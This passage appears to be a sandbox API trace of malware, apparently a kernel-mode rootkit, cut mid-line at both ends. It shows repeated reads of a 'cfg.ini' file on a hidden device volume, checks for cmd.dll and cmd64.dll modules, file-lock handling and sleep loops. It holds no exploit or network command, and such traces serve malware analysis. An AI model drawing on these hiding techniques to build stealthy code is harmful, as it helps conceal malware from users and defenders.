FastMutex=0xfffffa80027d3898) [0121.338] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.338] KeLeaveCriticalRegion () [0121.339] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.339] KeEnterCriticalRegion () [0121.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.339] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.339] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.339] KeLeaveCriticalRegion () [0121.339] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.339] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.339] KeEnterCriticalRegion () [0121.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.339] ExFreePoolWithTag (P=0xfffffa8003bc4180, Tag=0x0) [0121.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.339] KeLeaveCriticalRegion () [0121.339] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.339] ReleaseMutex (hMutex=0xf0) returned 1 [0121.339] Sleep (dwMilliseconds=0x124f80) [0121.354] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.354] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.354] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.354] KeEnterCriticalRegion () [0121.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.354] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.354] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.354] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.354] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.354] IdePortDispatch () returned 0x103 [0121.354] KeWaitForMutexObject () returned 0x0 [0121.354] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.354] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.354] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.354] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.354] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.354] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba4b0 [0121.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.354] KeLeaveCriticalRegion () [0121.354] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.354] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.354] KeEnterCriticalRegion () [0121.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.354] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.354] KeLeaveCriticalRegion () [0121.355] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.355] KeEnterCriticalRegion () [0121.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.355] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.355] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.355] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.355] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.355] IdePortDispatch () returned 0x103 [0121.355] KeWaitForMutexObject () returned 0x0 [0121.355] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.355] KeLeaveCriticalRegion () [0121.355] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.355] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.355] KeEnterCriticalRegion () [0121.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.355] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b10000 [0121.355] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.355] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.355] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.355] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.355] IdePortDispatch () returned 0x103 [0121.355] KeWaitForMutexObject () returned 0x0 [0121.355] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.355] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.355] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.355] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.355] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.355] IdePortDispatch () returned 0x103 [0121.356] KeWaitForMutexObject () returned 0x0 [0121.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.356] KeLeaveCriticalRegion () [0121.356] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.356] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.356] KeEnterCriticalRegion () [0121.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.356] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.356] KeLeaveCriticalRegion () [0121.356] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.356] KeEnterCriticalRegion () [0121.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.356] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.356] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.356] KeLeaveCriticalRegion () [0121.356] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.357] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.357] KeEnterCriticalRegion () [0121.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.357] ExFreePoolWithTag (P=0xfffffa8003bba4b0, Tag=0x0) [0121.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.357] KeLeaveCriticalRegion () [0121.357] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.357] ReleaseMutex (hMutex=0xf0) returned 1 [0121.357] Sleep (dwMilliseconds=0x124f80) [0121.370] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.370] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.370] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.370] KeEnterCriticalRegion () [0121.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.370] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.370] IdePortDispatch () returned 0x103 [0121.370] KeWaitForMutexObject () returned 0x0 [0121.370] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.370] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.371] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.371] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.371] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.371] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4130 [0121.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.371] KeLeaveCriticalRegion () [0121.371] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.371] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.371] KeEnterCriticalRegion () [0121.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.371] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.371] KeLeaveCriticalRegion () [0121.371] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.371] KeEnterCriticalRegion () [0121.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.371] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.371] IdePortDispatch () returned 0x103 [0121.371] KeWaitForMutexObject () returned 0x0 [0121.371] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.371] KeLeaveCriticalRegion () [0121.371] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.371] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.371] KeEnterCriticalRegion () [0121.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.371] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b15000 [0121.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.371] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.371] IdePortDispatch () returned 0x103 [0121.371] KeWaitForMutexObject () returned 0x0 [0121.372] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.372] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.372] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.372] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.372] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.372] IdePortDispatch () returned 0x103 [0121.372] KeWaitForMutexObject () returned 0x0 [0121.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.372] KeLeaveCriticalRegion () [0121.372] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.372] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.372] KeEnterCriticalRegion () [0121.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.372] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.373] KeLeaveCriticalRegion () [0121.373] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.373] KeEnterCriticalRegion () [0121.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.373] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.373] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.373] KeLeaveCriticalRegion () [0121.373] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.373] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.373] KeEnterCriticalRegion () [0121.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.373] ExFreePoolWithTag (P=0xfffffa8003bc4130, Tag=0x0) [0121.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.373] KeLeaveCriticalRegion () [0121.373] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.373] ReleaseMutex (hMutex=0xf0) returned 1 [0121.373] Sleep (dwMilliseconds=0x124f80) [0121.389] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.389] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.389] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.389] KeEnterCriticalRegion () [0121.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.389] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.389] IdePortDispatch () returned 0x103 [0121.389] KeWaitForMutexObject () returned 0x0 [0121.390] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.390] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.390] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.390] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.390] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.390] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4180 [0121.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.390] KeLeaveCriticalRegion () [0121.390] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.390] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.390] KeEnterCriticalRegion () [0121.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.390] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.390] KeLeaveCriticalRegion () [0121.390] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.390] KeEnterCriticalRegion () [0121.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.390] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.390] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.390] IdePortDispatch () returned 0x103 [0121.390] KeWaitForMutexObject () returned 0x0 [0121.390] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.390] KeLeaveCriticalRegion () [0121.390] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.390] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.390] KeEnterCriticalRegion () [0121.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.390] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1c000 [0121.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.391] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.391] IdePortDispatch () returned 0x103 [0121.391] KeWaitForMutexObject () returned 0x0 [0121.391] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.391] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.391] IdePortDispatch () returned 0x103 [0121.391] KeWaitForMutexObject () returned 0x0 [0121.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.391] KeLeaveCriticalRegion () [0121.391] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.392] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.392] KeEnterCriticalRegion () [0121.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.392] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.392] KeLeaveCriticalRegion () [0121.392] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.392] KeEnterCriticalRegion () [0121.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.392] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.392] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.392] KeLeaveCriticalRegion () [0121.392] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.392] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.392] KeEnterCriticalRegion () [0121.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.392] ExFreePoolWithTag (P=0xfffffa8003bc4180, Tag=0x0) [0121.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.392] KeLeaveCriticalRegion () [0121.392] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.392] ReleaseMutex (hMutex=0xf0) returned 1 [0121.392] Sleep (dwMilliseconds=0x124f80) [0121.407] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.407] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.407] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.407] KeEnterCriticalRegion () [0121.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) 